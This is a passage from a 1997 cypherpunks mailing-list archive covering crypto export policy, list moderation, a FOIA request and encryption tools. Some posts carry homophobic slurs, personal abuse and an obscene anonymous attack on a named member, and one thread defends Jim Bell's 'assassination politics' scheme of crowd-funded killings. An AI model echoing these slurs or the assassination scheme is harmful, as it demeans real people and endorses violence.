<32F81349.6156@gte.net> Message-ID: Dale Thorn writes: > Dr.Dimitri Vulis KOTM wrote: > > Dale Thorn writes: > > > > The drunk can be excluded, but when someone wants to use the drunk as > > > an example to escalate the exclusion to other persons who are not in > > > fact drunk, watch out! > > > If I get really really drunk, which happens very seldom, then I'm > > too drunk to post. I don't mind an occasional beer, though. > > > Oksas, have you ever tried beer? :-) > > I had my first beer(s) in three years at one of those industrial > parties last night. It made the craps table action seem a bit > merrier, and the girls were friendlier too. > I like an occasional Coors Lite. BTW I think Limey Faggots are right about one think: I like room-temperature beer better than cold beer. YMMV. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 08:28:53 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 08:28:53 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater In-Reply-To: <199702041441.GAA28349@toad.com> Message-ID: Dale Thorn writes: > Igor Chudov @ home wrote: > > Dale Thorn wrote: > > > Igor Chudov @ home wrote: > > > > people who have such money are not going to bump off very many more > > > people than they already do, because: > > > 1. They need the people to make money off of (Mafia rule #4, never > > > kill someone who owes you money [or is a money source]). > > > This is a wrong Mafia rule, they do kill debtors who are in default. > > Really? Then how do they collect their money? BTW, I heard the rule > from the mouth of a real mob hitman. mafia used to have a habit of hiring some lonely person do do work for them (such as, set up their crypto infrastructure), then make him disappear, and he won' be missed, and they won't have to pay for the work. Bumping off the people that you owe money to is bad for one's rep. I'd be reluctant to do consulting for organized crime for this reason. Perhaps that's why the Feds have such easy time wiretapping them. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 08:37:09 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 08:37:09 -0800 (PST) Subject: Information Warfare In-Reply-To: <199702041458.GAA28816@toad.com> Message-ID: "tmcghan at mail.bcpl.lib.md.us" writes: > in a message allegedly from: Peter Hendrickson > > > The cypherpunks list has been under "attack" for some time. > {snip} > > Some people have dismissed the idea that rogue governmental elements > > are behind some of our problems. > {snip} > > We know that "Information Warfare" is the big thing in the defense > > establishment right now. > > Information Warfare Conference > sponsored by DPMA/AITP > > Washington, DC, March 13-14, 1997 > Crystal City Marriott > 1999 Jefferson Davis Highway > Arlington, VA 22202 > > Presentations by: > Major General Michael V. Hayden, Commander, Air Intelligence Agency > Dr. C. Kenneth Allard, Competitive Strategies > Col. H. Stevens, Land Information Warfare Activity > > - current service visions and planned program initiatives > - operational concepts for 'third-wave' warfare > - information warfare drivers for 21st century C4I architectures > - emerging technologies and systems for information warfare > superiority: opportunities on the horizon > > 'information warfare targets and vulnerabilities', Maxim I. Kovel, > TASC systems management group > > 'information warfare for deterrence', William H.J. Manthorpe, Jr. > Applied Physics Laboratory, Johns Hopkins > > 'adaptive techniques for counter-deception', James Llinas, > technical advisor, DOD JDL, Data Fusion group > > 'emerging threats come in all sizes and flavors', Eugene Schultz, SRI > consulting > > "Information has been termed the 'fifth dimension' in the conduct of > 'third-wave' warfare, and promises to dramatically enhance the role > of C4I as a force multiplier. Joint and individual service doctrine > is emerging for IW, ans is affecting the needs and requirements for > diverse systems: from space-based surveillance and communications > systems to terrestrial image processing, visualization, and > information fusion systems." > > "This conference will provide a valuable forum where military and > industry staff can interact with key decision-makers to achieve the > most current possible understanding of Information Warfare concepts, > initiatives, technologies and potential opportunities. The Critical > Questions to be addressed include: > > - how is IW changing operational concepts? > - how can we defend the weak links in the planned > information-intensive reconnaissance, strike, targeting architecture? > - what developments in enabling technologies are needed to support > current Information Operations, Battlefield Visualization, and > Information Exploitation initiatives? > -what can be done to develop defensive information technology > capabilities? > > and last, but _c_e_r_t_a_i_n_l_y_ not least: > > - how will we move forward to develop a true offensive IW capability > > ============================================== > Many of my f2f meetings with the people on and around this mailing lists were at the InfoWarCon's. It's no secret that my research interests include IW (with PsyOps and DOS). And what was Gilmore (spit, fart) doing there? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 08:37:28 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 08:37:28 -0800 (PST) Subject: Getting into MIT is impossible In-Reply-To: <199702050728.XAA18191@toad.com> Message-ID: jim bell writes: > Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir > Crazy." Computer science major, BTW. > > > > > At 07:37 PM 2/3/97 -0800, Clint Barnett wrote: > >wasn't Dolph Lundgren an MIT grad? I seem to remember something about him > >having a degree in Chemical Engineering or something along those lines. > > > >clint barnett > >lord of the cosmos > >emily carr institute > > > >On Wed, 29 Jan 1997, Anonymous wrote: > > > >> > >> > >> According to Rick Osborne: > >> > >> "I disagree and can speak from experience. I was denied admission to MIT > >> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP test > >> with two 5's, four 4's, two 3's, and one 2. As for being well-rounded, I > >> was on several academic teams, sang in Chorus, acted and stage managed in > >> Drama, and played Tennis." > >> > >> People get into MIT--or don't get into MIT--for lots of reasons. Most > >> intelligent people apply to several schools, knowing that admissions > >> practices are subject to the vagaries of reality. > >> > >> In my case, my SATs were about 1500, with some 800s in achievement tests. > >> And the usual bullshit high school clubs, political offices, etc. etc. I > >> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the > >> way things turned out. > >> > >> And I decided not to go to MIT, either. > >> > >> "The only thing I didn't have that the next MIT applicant had was money. > >> made the mistake of letting them know that I was dirt poor and would need > >> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the > >> Russian front!"" > >> > >> My guess is that "other factors" were involved. > >> > >> I noted with some interest, but little surprise, that the guy claiming MIT > >> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and > >> had major problems making a coherent point. Methinks this is why MIT > >> rejected him, not his lack of a "1600." > >> > >> ">For what it's worth, I wanted to go to MIT my sophomore year in high > >> >school, too > >> > >> "Lucky you. It had been a dream of mine since I was an annoying > >> overachiever of 6. Sux to be white trash, I guess." > >> > >> MIT offered me a substantial economic aid package, in the form of loans, > >> grants, and various campus jobs. What does this tell you? > >> > >> "MIT may be a great school, but they tend to be snooty assholes for the mo > >> part. (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty > >> assholes", I'm just saying that I've yet to meet one that wasn't.) > >> > >> I've known about a dozen or so MIT grads, and only one of them was a snoot > >> asshole, and it was a _she_, one of the first MIT women grads (and she was > >> _very_ impressed by this). > >> > >> Most MIT grads are perfectly reasonable. > >> > >> Xanthar > >> > >> > >> > >> > >> -- > >> > > > > > > > Jim Bell > jimbell at pacifier.com > This thread has no crypto-relevance, but Sandy the Asshole forwards it to the censored list. He also sends crypto-relevant threads to the flames list. This will be the first post in this thread that Sandy the Asshole will junk. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From nobody at huge.cajones.com Wed Feb 5 08:59:17 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 5 Feb 1997 08:59:17 -0800 (PST) Subject: No Subject Message-ID: <199702051659.IAA00921@toad.com> IDEA vs DES vs Blowfish vs RSAREF Which of these symmetric algorithms are the hardest to break and what are their characteristics. //Anon From rah at shipwright.com Wed Feb 5 08:59:46 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 08:59:46 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702051659.IAA00930@toad.com> At 8:20 am -0500 2/5/97, Matts Kallioniemi wrote: >Another way to get rid of the totally clueless and involuntary subscribers >would be to require subscription requests to be PGP signed and acknowledged >by the subscriber. Now, this sounds familiar... Everyone remember Eric's attempt to force signed messages? Herding cats, indeed. Cheers, Bob ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From dlv at bwalk.dm.com Wed Feb 5 09:01:25 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 09:01:25 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702051701.JAA00962@toad.com> Anil Das writes: > Adam Back wrote: > > > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > > > I have only one objection. I will never post to an Usenet group > under my real email address for fear of ending up in spammer > databases. > > -- > Anil Das > Learn to use an anonymous remailer. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From karn at qualcomm.com Wed Feb 5 09:01:36 1997 From: karn at qualcomm.com (Phil Karn) Date: Wed, 5 Feb 1997 09:01:36 -0800 (PST) Subject: Ireland: Bid To Ban "Tamper Proof" Phones Message-ID: <199702051701.JAA00978@toad.com> Thanks for the info about the origins of the European GAK initiative. It would still be interesting to know how much of a hand the US has had (and continues to have) in influencing the crypto policies of other countries. Thanks also for the correction regarding divorce in Ireland. My sincere apologies if I offended anybody over there with my "socially backward" comment. Ireland is by no means unique even among western nations in having certain restrictive laws and practices regarding private social behavior. In general the US is not much better, and parts (especially the southeast) are probably worse. It is interesting that you would mention political terrorism and drug smuggling as prime factors pushing towards GAK in Ireland. The forces at work in the US government push towards GAK are quite similar. I am fond of saying that "national security" and "drugs" have become the root passwords to the US Constitution... Question: have there been any problems with the use of strong encryption (PGP, SSH, etc) on the Internet in Ireland? Is it widely used over there? Phil From pdh at best.com Wed Feb 5 09:01:36 1997 From: pdh at best.com (Peter Hendrickson) Date: Wed, 5 Feb 1997 09:01:36 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: <199702051701.JAA00977@toad.com> At 12:40 AM 2/5/1997, Greg Broiles wrote: > On 1/18/97, I sent freedom of information act requests to the FBI (main and > San Francisco offices), CIA, NSA, and Secret Service, asking them for copies > of information in their files relating to or referring to the cypherpunks > list, the cypherpunks meetings, and copies of any messages sent from or to > "cypherpunks at toad.com". > To date, I have received three responses: one from the SF office of the FBI, > indicating that they have no records responsive to my request; one from the > NSA, indicating that they are processing my request, and one from the Secret > Service, asking for a copy of my signature. (I've got no clue why they want > that; unless I screwed up, I believe my initial request was signed.) Have these organizations been known to lie? What penalties does the organization or its employees face when they do so? Have these penalties ever been applied? Also, which exceptions in the FOIA law would allow them to respond dishonestly? Inquiring minds want to know! Peter Hendrickson pdh at best.com From attila at primenet.com Wed Feb 5 09:06:39 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 5 Feb 1997 09:06:39 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702051706.JAA01075@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970204:2343 jim bell said: +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: +> In a "popular" anarchy, Jim Bell's assassination politics make +> perfectly good sense; but, a "popular" anarchy is not an _anarchy_. +I guess I don't understand the distinction you are trying to make, +between a "popular anarchy" and an "anarchy." Maybe you were trying +to distinguish between "dictatorship of the few (or one)" and +"dictatorship of the many (perhaps a majority)" but it didn't come out +very understandably. +Put simply, "anarchy is not the lack of order. It is the lack of +_orders_." disagree. pure anarchy is not the lack of "orders" --pure anarchy implies that everyone is imbued with that perfect sense of responsibility. +> anarchy is only possible in an ideal world where _everyone_ +> assumes not only responsibility for themselves, but for the common +> good. no malice, no greed, no need for assassination politics.... +No, that's traditional thinking and that's wrong. See AP part 8. +Freud believed (as "everyone" else believed, even myself, before AP) +that anarchy was inherently unstable. But it ISN'T, if the tools of +AP are used to stabilize it. And no, no altruism is necessary for AP +to work as well; no individuals are being asked to sacrifice +themselves for the common good. Rather, they are given the +opportunity to work to achieve a reward offered, cumulatively, by a +number of citizens. aah, but that is the difference between a _pure_ anarchy and a _popular_ anarchy. A pure _anarchy_ is sufficiently idealistic in that _noone_ lacks the necessary resonsibility to keep society moving, each individual in their own niche. As long as there is perfect responsibility in a perfect anarchy, then there is no need for AP. AP is a negative, or _punative_, influence; I might liken it to the Catholic Church which is a religion of fear, and an instrument of political control. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF 0W6WR7yv3XsOT9UM6JCP9hFLWU33BumcPd26w8f/Z5mx87qEUoXeJD4ApLv5QNI3 WlyL0xDT1PM= =sfD3 -----END PGP SIGNATURE----- From wendigo at pobox.com Wed Feb 5 09:21:37 1997 From: wendigo at pobox.com (Mark Rogaski) Date: Wed, 5 Feb 1997 09:21:37 -0800 (PST) Subject: AltaVista Tunnel In-Reply-To: <199702051525.HAA28716@toad.com> Message-ID: <199702051726.MAA12769@deathstar.jabberwock.org> -----BEGIN PGP SIGNED MESSAGE----- An entity claiming to be Anil Das wrote: : : Rick Osborne wrote: : > : > He triumphantly exclaimed that the encryption was 128-bit, but when : > I said "128-bit what?" he cowered and muttered that he didn't know and went : > on with his little speech. The rest of my crypto-specific questions met : > with equal dark stares. And these are the people setting industry standards... : : I should be happy that you are bashing a competitor and all, but give : them a break, OK? The marketing dweeb who has to do product pitches : on roadshows is not the same as the design engineer who designs the : system and sets technical standards. There can be a big difference in : technical knowledge about the product, and even basic competency, : between the two. : If the marketing-droid didn't have the ability to answer such a basic question, DEC should have just sent out videotape promos. I don't understand why they went through the expense of sending warm bodies out on a roadshow without giving them enough specification about the product to give an effective presentation to a predominantly tech-oriented audience. From whom did they expect the questions to come? A competent marketing professional would AT LEAST know what standards/protocols the product supported, does a car company send its sales force out without knowing if the cars use gas or diesel? Another example of how the Macro$loth mindset of tossing out random buzzwords to a chorus of ooooh's and ahhhh's has polluted the industry. In Rick's case, DEC's image was deflated. OK, so how many other people present got the same impression. And it's very likely that one of those people is a decision maker, or the anecdote got back to one of the decision makers. So, due to DEC's failure to ensure that their sales force new the product, they can probably scratch Grumman off of their potential client list. Mark - -- [] Mark Rogaski || "Computers save time like kudzu [] [] wendigo at pobox.com || prevents soil erosion." [] [] http://www.pobox.com/~wendigo/ || - afcasta at texas.net [] [] >> finger for PGP pubkey << || [] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMvjCjBz4pZwIaHjdAQEziAf/WXyN1MHZd5E77RIGwQIk37gcTKAnDATS gKpKW/MWENV5qF7sEdJ/5BEE5KpJUsUvG9+/9ZfmjwLJbaiIAiIKBkLto5oBCwFi 0uR7RFqDCtIIsVzDb+L6gzAKJ98WDTHeaQO7uy3NDo6WkuGdIDtcxe5mzuLmekjE wlnNy3PCmU6LYZivuW4L8IAXQ+Fd263DX4WaR2FbRGXmdH6/QCJHp7kerjuppNtD rCaUh1yFoxmzzZp2QLgYhZRGDNzw7SKPCcmMBcPk2873f+U9kdEWrz0LzSQwSlRN zZGXZMfsuF6PrLckRS8fGO00/ZVuh4byiqGffSP++zwEE6GDcFHR4A== =Caug -----END PGP SIGNATURE----- From vangelis at qnis.net Wed Feb 5 09:23:33 1997 From: vangelis at qnis.net (Vangelis) Date: Wed, 5 Feb 1997 09:23:33 -0800 (PST) Subject: Full strength Email Clients. Message-ID: <199702051723.JAA01391@toad.com> Steven Herod wrote: > > Hello, I'm in search of an *EASY TO USE* Internet Email client > software that uses full strength (outside US export restriction) RSA > encryption. Private Idaho (for Windoze), without question. It's freeware, and acts as an almost seamless front-end to PGP. I use it all the time w/ my crpto-aware friends. http://www.eskimo.com/~joelm/pi.html -- Vangelis /\oo/\ Finger for public key. PGP KeyID 1024/A558B025 PGP Fingerprint AE E0 BE 68 EE 7B CF 04 02 97 02 86 F0 C7 69 25 Life is my religion, the world is my altar. From dlv at bwalk.dm.com Wed Feb 5 09:23:33 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 09:23:33 -0800 (PST) Subject: A Vote of Silence for Human Gus-Peter Message-ID: <199702051723.JAA01392@toad.com> Larry Johnson writes: > I want to be the new modernator so anyone who wants me to be it can > not send any messages, ok? > So any people who dont send messages are voting for me, ok? > > (If I am modernator I will give everyone free pizza and Schotch.) > > Ok. Now evceryone vote, ok? > > Human Gus-Peter > > I volunteer to moderate cypherpunks at toad.com. I'll use a 'bot (like Sandy uses a 'bot) to junk submissions from Gilmore, Sandfart, and other known homosexuals, and pass on everything else. It'll probably have better S/N that Sandy's censored list does now. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 09:23:40 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 09:23:40 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702051723.JAA01404@toad.com> Dale Thorn writes: > Dr.Dimitri Vulis KOTM wrote: > > Dale Thorn writes: > > > > The drunk can be excluded, but when someone wants to use the drunk as > > > an example to escalate the exclusion to other persons who are not in > > > fact drunk, watch out! > > > If I get really really drunk, which happens very seldom, then I'm > > too drunk to post. I don't mind an occasional beer, though. > > > Oksas, have you ever tried beer? :-) > > I had my first beer(s) in three years at one of those industrial > parties last night. It made the craps table action seem a bit > merrier, and the girls were friendlier too. > I like an occasional Coors Lite. BTW I think Limey Faggots are right about one think: I like room-temperature beer better than cold beer. YMMV. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 09:25:12 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 09:25:12 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702051725.JAA01456@toad.com> Dale Thorn writes: > Igor Chudov @ home wrote: > > Dale Thorn wrote: > > > Igor Chudov @ home wrote: > > > > people who have such money are not going to bump off very many more > > > people than they already do, because: > > > 1. They need the people to make money off of (Mafia rule #4, never > > > kill someone who owes you money [or is a money source]). > > > This is a wrong Mafia rule, they do kill debtors who are in default. > > Really? Then how do they collect their money? BTW, I heard the rule > from the mouth of a real mob hitman. mafia used to have a habit of hiring some lonely person do do work for them (such as, set up their crypto infrastructure), then make him disappear, and he won' be missed, and they won't have to pay for the work. Bumping off the people that you owe money to is bad for one's rep. I'd be reluctant to do consulting for organized crime for this reason. Perhaps that's why the Feds have such easy time wiretapping them. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From azur at netcom.com Wed Feb 5 09:25:15 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 5 Feb 1997 09:25:15 -0800 (PST) Subject: ITAR and Paper ROM Message-ID: >Given that high-density inkjet printers can do 600x600 dpi resolution, it >should be possible to achieve the equivalent of 100x100 bpi of >easily-recoverable data on ordinary paper. That's about 800 kilobits, or >100 kilobytes. What does ITAR say about this? > > >Jim Bell >jimbell at pacifier.com I'm not sure if what I did in the 80s, trying to create what I called 'paper ROM, is applicable. In these investigations I used matricies of small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind to replace diskettes for inexpensive mass data distribution. I was able to reliably get 100-200 KB/page side using standard offset printing. With modern ink-jet/laser printers you should be able to reliably get at least 10-50KB/page side. Although a technical success, I abandoned the effort when I discovered someone had patented (4,488,679) something similar a few years earlier. -- Steve From dlv at bwalk.dm.com Wed Feb 5 09:25:48 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 09:25:48 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <199702051725.JAA01476@toad.com> jim bell writes: > Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir > Crazy." Computer science major, BTW. > > > > > At 07:37 PM 2/3/97 -0800, Clint Barnett wrote: > >wasn't Dolph Lundgren an MIT grad? I seem to remember something about him > >having a degree in Chemical Engineering or something along those lines. > > > >clint barnett > >lord of the cosmos > >emily carr institute > > > >On Wed, 29 Jan 1997, Anonymous wrote: > > > >> > >> > >> According to Rick Osborne: > >> > >> "I disagree and can speak from experience. I was denied admission to MIT > >> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP test > >> with two 5's, four 4's, two 3's, and one 2. As for being well-rounded, I > >> was on several academic teams, sang in Chorus, acted and stage managed in > >> Drama, and played Tennis." > >> > >> People get into MIT--or don't get into MIT--for lots of reasons. Most > >> intelligent people apply to several schools, knowing that admissions > >> practices are subject to the vagaries of reality. > >> > >> In my case, my SATs were about 1500, with some 800s in achievement tests. > >> And the usual bullshit high school clubs, political offices, etc. etc. I > >> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the > >> way things turned out. > >> > >> And I decided not to go to MIT, either. > >> > >> "The only thing I didn't have that the next MIT applicant had was money. > >> made the mistake of letting them know that I was dirt poor and would need > >> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the > >> Russian front!"" > >> > >> My guess is that "other factors" were involved. > >> > >> I noted with some interest, but little surprise, that the guy claiming MIT > >> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and > >> had major problems making a coherent point. Methinks this is why MIT > >> rejected him, not his lack of a "1600." > >> > >> ">For what it's worth, I wanted to go to MIT my sophomore year in high > >> >school, too > >> > >> "Lucky you. It had been a dream of mine since I was an annoying > >> overachiever of 6. Sux to be white trash, I guess." > >> > >> MIT offered me a substantial economic aid package, in the form of loans, > >> grants, and various campus jobs. What does this tell you? > >> > >> "MIT may be a great school, but they tend to be snooty assholes for the mo > >> part. (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty > >> assholes", I'm just saying that I've yet to meet one that wasn't.) > >> > >> I've known about a dozen or so MIT grads, and only one of them was a snoot > >> asshole, and it was a _she_, one of the first MIT women grads (and she was > >> _very_ impressed by this). > >> > >> Most MIT grads are perfectly reasonable. > >> > >> Xanthar > >> > >> > >> > >> > >> -- > >> > > > > > > > Jim Bell > jimbell at pacifier.com > This thread has no crypto-relevance, but Sandy the Asshole forwards it to the censored list. He also sends crypto-relevant threads to the flames list. This will be the first post in this thread that Sandy the Asshole will junk. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 09:27:31 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 09:27:31 -0800 (PST) Subject: Information Warfare Message-ID: <199702051727.JAA01496@toad.com> "tmcghan at mail.bcpl.lib.md.us" writes: > in a message allegedly from: Peter Hendrickson > > > The cypherpunks list has been under "attack" for some time. > {snip} > > Some people have dismissed the idea that rogue governmental elements > > are behind some of our problems. > {snip} > > We know that "Information Warfare" is the big thing in the defense > > establishment right now. > > Information Warfare Conference > sponsored by DPMA/AITP > > Washington, DC, March 13-14, 1997 > Crystal City Marriott > 1999 Jefferson Davis Highway > Arlington, VA 22202 > > Presentations by: > Major General Michael V. Hayden, Commander, Air Intelligence Agency > Dr. C. Kenneth Allard, Competitive Strategies > Col. H. Stevens, Land Information Warfare Activity > > - current service visions and planned program initiatives > - operational concepts for 'third-wave' warfare > - information warfare drivers for 21st century C4I architectures > - emerging technologies and systems for information warfare > superiority: opportunities on the horizon > > 'information warfare targets and vulnerabilities', Maxim I. Kovel, > TASC systems management group > > 'information warfare for deterrence', William H.J. Manthorpe, Jr. > Applied Physics Laboratory, Johns Hopkins > > 'adaptive techniques for counter-deception', James Llinas, > technical advisor, DOD JDL, Data Fusion group > > 'emerging threats come in all sizes and flavors', Eugene Schultz, SRI > consulting > > "Information has been termed the 'fifth dimension' in the conduct of > 'third-wave' warfare, and promises to dramatically enhance the role > of C4I as a force multiplier. Joint and individual service doctrine > is emerging for IW, ans is affecting the needs and requirements for > diverse systems: from space-based surveillance and communications > systems to terrestrial image processing, visualization, and > information fusion systems." > > "This conference will provide a valuable forum where military and > industry staff can interact with key decision-makers to achieve the > most current possible understanding of Information Warfare concepts, > initiatives, technologies and potential opportunities. The Critical > Questions to be addressed include: > > - how is IW changing operational concepts? > - how can we defend the weak links in the planned > information-intensive reconnaissance, strike, targeting architecture? > - what developments in enabling technologies are needed to support > current Information Operations, Battlefield Visualization, and > Information Exploitation initiatives? > -what can be done to develop defensive information technology > capabilities? > > and last, but _c_e_r_t_a_i_n_l_y_ not least: > > - how will we move forward to develop a true offensive IW capability > > ============================================== > Many of my f2f meetings with the people on and around this mailing lists were at the InfoWarCon's. It's no secret that my research interests include IW (with PsyOps and DOS). And what was Gilmore (spit, fart) doing there? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From das at sgi.com Wed Feb 5 09:51:04 1997 From: das at sgi.com (Anil Das) Date: Wed, 5 Feb 1997 09:51:04 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: <5dafe2$hdk@fido.asd.sgi.com> Message-ID: <32F8C86E.15FB@sgi.com> Dr.Dimitri Vulis KOTM wrote: > > Learn to use an anonymous remailer. Thanks for the hint, Dr. Vulis. I have registered for a course, but seats are available only in fall. -- Anil Das From mclow at owl.csusm.edu Wed Feb 5 09:56:09 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Wed, 5 Feb 1997 09:56:09 -0800 (PST) Subject: OECD Waffles In-Reply-To: <199702051526.HAA28804@toad.com> Message-ID: >2-4-97. Reuters: > >Global group fails to endorse Clinton encryption plan > >Washington: An influential economic research group is preparing >guidelines on computer encryption for its member countries but >will duck some of the most contentious issues involved, according >to a draft obtained by Reuters. > [snip] Gee, that's funny.... I could have sworn I heard the Hon. Abassador Aaron tell us last week that the US had "strong international support" for its' key recovery programs, especially from the OECD. Here's a quote from an earlier Reuters article: > Wednesday January 29 3:26 PM EST > >U.S. Encryption Envoy Seeks Industry Cooperation > > SAN FRANCISCO - The Clinton administration's newly named point man on > encryption policy is citing international support for U.S. policies > limiting use of encryption and called for industry cooperation. > > Ambassador David Aaron, special envoy for cryptography, said on a > speech to the RSA Data Security Conference in San Francisco that U.S. > allies support the concept of lawful access by governments and the use > of key recovery mechanisms. and a quote from the NY Times: >The New York Times, January 29, 1997, p. D19. > > > Consensus Sought on Computer Coding > > By John Markoff > > San Francisco -- The Clinton administration's top overseas representative > on cryptography -- or data scrambling -- told a group of skeptical > computer industry executives and technical experts Tuesday that important > allies support the administration's position that governments should have > access-coded computer files and digital communications. > > The speech by David L. Aaron, made on the opening day of a computer > security conference, was part of a renewed effort by the administration > to gain broad support for its efforts to control data-scrambling > technologies, which are increasingly viewed as crucial components of > electronic commerce and communications. I am shocked, SHOCKED, I say, that a representative of our government would mislead us in this way. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From haystack at holy.cow.net Wed Feb 5 10:39:24 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Wed, 5 Feb 1997 10:39:24 -0800 (PST) Subject: No Subject Message-ID: <199702051820.NAA02283@holy.cow.net> May Timmy May's forgeries get stuck up his ass so he'll have to shit through his filthy mouth for the rest of its miserable life. ||||||||||| \~0/ \0~/ < (0) > --oOO--/|||\--OOo- Timmy May From mclow at owl.csusm.edu Wed Feb 5 10:43:51 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Wed, 5 Feb 1997 10:43:51 -0800 (PST) Subject: Deloitte-Touche? In-Reply-To: <9702051741.AA04467@sabel.idacom.hp.com> Message-ID: Several people wrote: >I wrote: >>ObCrypto policy: >> Was anyone else besides me amazed by the guy >>from Deloitte-Touche at the Internet Privacy Coalition luncheon >>last week? I mean, he all but advocated violent overthrow of >>the government. [...] > >For the benefit of those of us who were not at this luncheon (probably >not even in the same country), could you please say more about this, >Marshall? What was the subject? What _did_ the DT speaker say, exactly? > After a while, I stopped taking notes, because I was so astounded at what he was saying. (Maybe someone with more complete notes could post a better summary) But, here a brief overview of the luncheon: Last Wednesday, January 29th, the Internet Privacy Coalition had a "policy lunch" in San Francisco. It was in one of the hotels hosting the RSA conference, and at the same time that the conference was breaking for lunch, so it was easy for attendees to "switch lunches". The speakers (as I remember, apologies to any I miss) were: Whit Diffie John Gilmore Kenneth Bass (counsel in Karn vs. Dept of State) Herb Lin (who ran the NRC staff for the crypto study) Marc Rotenberg William Hugh Murray (Deloitte & Touche) and a couple others that I missed, as I left early. Mr. Murray gave a long, impassioned speech. He said that the government is going to crack down on domestic possession and use of crypto, that they were looking to increase their wiretapping capabilities 100-fold, and so on. He was very emphatic about not trusting anything that the government says, and that once they got their "foot in the door", that they would seek to expand their abilities to regulate, etc, etc. He advocated deployment of strong crypto. He insisted that there was no way the government could stop the export of strong crypto. He exhorted people to refuse to obey the ITAR/EAR regulations, and to lobby their congresscritters to get the PRO-CODE bill passed. It wasn't really what he said that amazed me, because I had heard most of it (in bits and pieces) before. It was presenting it all in a package, in an emotional manner, by an elderly, conseratively dressed accountant who was representing a large corporation whose job it is to help people obey the government. [ My father was an accountant. He worked for Deloitte-Touche, in fact. I don't expect accountants to be passionate about government regs, and especially not to advocate disobediance. Maybe that's why this affected me so strongly. ] -- Marshall Marshall Clow Aladdin 